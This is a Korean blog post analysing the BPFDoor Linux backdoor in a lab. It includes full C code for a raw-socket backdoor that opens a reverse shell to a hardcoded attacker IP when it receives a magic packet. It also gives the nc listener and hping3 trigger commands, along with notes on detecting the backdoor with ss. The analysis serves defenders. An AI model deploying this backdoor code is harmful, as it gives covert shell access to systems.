최근 SKT 해킹 사고로 리눅스 기반 고급 백도어 BPFDoor가 주목받고 있다.
언뜻 보면 탐지가 거의 불가능할 것 같은 초은닉 악성코드처럼 보이나, 공개된 분석 리포트 및 PoC 코드 샘플 등을 살펴본 결과, 완전히 새로운 형태의 위협은 아니며 탐지 및 대응이 충분히 가능한 것으로 판단된다.
또한 커널레벨에서 은닉하는 탓에 약간의 오해를 불러일으키는 부분이 있어서 이 글에서는 BPFDoor의 구조와 동작 원리를 실습과 함께 정리한다. raw socket과 은닉성에 대해 알아본다.
예시: tcpdump
에서 BPF 필터를 적용해 특정 트래픽만 수집하는 방식 확인 가능
sudo tcpdump -i eth0 port 80 -d
kworker
, rsyslogd
)/usr/lib
, /tmp
등)실제 공격에 사용된 C2 인프라 수준의 BPFDoor가 아니라 단순한 기능 테스트 정도로 실습
GitHub PoC 사용: gwillgues/BPFDoor
수정 사항:
수정된 코드:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <linux/filter.h>
#include <sys/ioctl.h>
#include <net/if.h>
#define INTERFACE "ens33"
#define ATTACKER_IP "192.168.73.152"
#define ATTACKER_PORT 4444
// 매직 패킷 시그니처
#define MAGIC "MAGIC"
void spawn_reverse_shell(const char* attacker_ip, int attacker_port) {
int sockfd;
struct sockaddr_in attacker_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("socket");
exit(1);
}
memset(&attacker_addr, 0, sizeof(attacker_addr));
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(attacker_port);
attacker_addr.sin_addr.s_addr = inet_addr(attacker_ip);
if (connect(sockfd, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) < 0) {
perror("connect");
exit(1);
}
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
int is_magic_packet(unsigned char *buffer, int size) {
if (size < 54) return 0; // 14(Ethernet) + 20(IP) + 20(TCP) 대략 예상
unsigned char *payload = buffer + 54; // 헤더 54바이트 스킵
int payload_size = size - 54;
if (payload_size < strlen(MAGIC)) return 0;
if (memcmp(payload, MAGIC, strlen(MAGIC)) == 0) return 1;
return 0;
}
int main() {
int sock;
struct ifreq ifr;
struct sockaddr_ll sll;
unsigned char buffer[2048];
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock < 0) {
perror("socket");
exit(1);
}
strncpy(ifr.ifr_name, INTERFACE, IFNAMSIZ - 1);
if (ioctl(sock, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl");
close(sock);
exit(1);
}
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifr.ifr_ifindex;
sll.sll_protocol = htons(ETH_P_ALL);
if (bind(sock, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
perror("bind");
close(sock);
exit(1);
}
printf("[+] Listening on %s for magic packet...\n", INTERFACE);
while (1) {
ssize_t packet_size = recvfrom(sock, buffer, sizeof(buffer), 0, NULL, NULL);
if (packet_size > 0) {
if (is_magic_packet(buffer, packet_size)) {
printf("[+] Magic packet received! Spawning reverse shell...\n");
spawn_reverse_shell(ATTACKER_IP, ATTACKER_PORT);
break; // 리버스쉘 종료 후 루프 탈출
}
}
}
close(sock);
return 0;
}
동작 흐름:
┌──────────────────────────────────────────────────┐
타겟 머신 (bpfdoor_revshell 감염)
1. Raw Socket 생성
2. 패킷 수신 (recvfrom())
(모든 패킷을 수신하는 상태)
└──────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
공격자 머신 (1.1.1.1)
1. nc -lvp 4444 (리버스쉘 포트 리스닝)
2. hping3 -E magic.txt -d 5 -p 12345 TARGET_IP
(Payload에 "MAGIC" 문자열 삽입해서 패킷 전송)
└──────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
타겟 머신 (bpfdoor_revshell 감염)
1. Ethernet/IP/TCP 헤더 54바이트 스킵
2. Payload 영역 검사
└── "MAGIC" 문자열이 발견되면
3. spawn_reverse_shell() 호출
└── 공격자(1.1.1.1:4444)로 리버스쉘 연결
└──────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
공격자 머신 (1.1.1.1)
1. 리버스쉘 획득 (/bin/sh)
2. 명령어 실행 가능
└──────────────────────────────────────────────────┘
실제 결과:
내가 궁금했던 부분은 BPFDoor의 은닉성이었다. BPFDoor의 핵심은 TCP를 이용한 일반적인 백도어 포트 바인딩이 아닌 커널레벨에서 raw socket을 사용한다는 것인데, 이 “사용한다”의 의미가 애매모호했다.
처음 들었을 때는 “raw socket으로 리버스쉘을 연결한다는건가? 그게 어떻게 가능하지?” 라고 생각했는데, 그게 아니었다. raw socket을 통한 은닉은 리버스쉘 연결 전 대기상태까지를 의미한다.
모든 공식 분석 결과가 'plain TCP connection', 'unencrypted', 'no obfuscation' 라고 명시하고 있다.
공개된 샘플상에도 리버스쉘 수립 단계에서 SSL/TLS 라이브러리 호출, Base64 encoding, HTTP wrapping 같은 추가 레이어가 전혀 없다.
지금까지 공개된 BPFDoor 관련 기술 분석 및 실제 샘플 행위 분석 기준으로, 리버스쉘 연결에 추가 은닉 기술을 사용하지 않았다.
그럼 BPFDoor는 왜 리버스쉘에는 난독화를 사용하지 않았을까? 라는 의문이 생기는데, gpt한테 물어보니 이렇게 답변해준다.
하지만 실제 이번 SKT 해킹에 사용된 공격코드에는 쉘 연결에 SSL 세션을 생성하는 코드가 들어가 있는 것으로 보인다.
당연하지만 전통적인 코발트 스트라이크 계열의 C2 역시 난독화는 기본으로 들어가니까 이 역시 BPFDoor만의 특별한 점은 아니다.
sudo ss -a -p -A packet
결과 (위 PoC에서 사용한 BFDoor raw socket 열린 상태)하지만 이건 어디까지는 PoC 코드로 실행하거니까 ss로 확인 가능, 실제 리얼월드에서 사용되는 raw socket 트리거 악성코드는 다양한 우회나 은폐 방법으로 일반적인 시스템 관리 명령어로 확인이 어려울 것으로 추정
BPFDoor는 매직 패킷 트리거 대기 단계에서 초초초 은닉성을 보여준다.
우리가 흔히 사용하는 리눅스 유저레벨의 각종 명령과 기능으로는 사실상 탐지가 초초초 어려운 것이 맞겠다.
하지만 리버스쉘 연결 이후부터는 기존 리버스쉘 공격과 큰 차이가 없다.
현재 필드나 각종 커뮤니티에서 이 부분에 대한 오해가 있는 것 같다.
"BPFDoor의 리버스쉘은 TCP 세션을 사용하지 않는대~"
BPFDoor는 리버스쉘을 은닉하는게 아니고 트리거를 은닉한다.
정확히는 raw socket은 매직패킷을 수신 대기하고 있는 상태에서만 해당된다.
리버스쉘 이후 단계는 코발트 스트라이크 계열의 전통적인 C2 인프라와 다를게 없는 것 같다.
요약:
BPFDoor는 "은닉성이 강화된 고전적 리버스쉘"에 불과하며, 체계적 방어 체계를 갖춘 환경에서는 탐지 및 대응이 충분히 가능하다. (여기서 "충분히"의 의미는 각자 유연하게 해석 바람)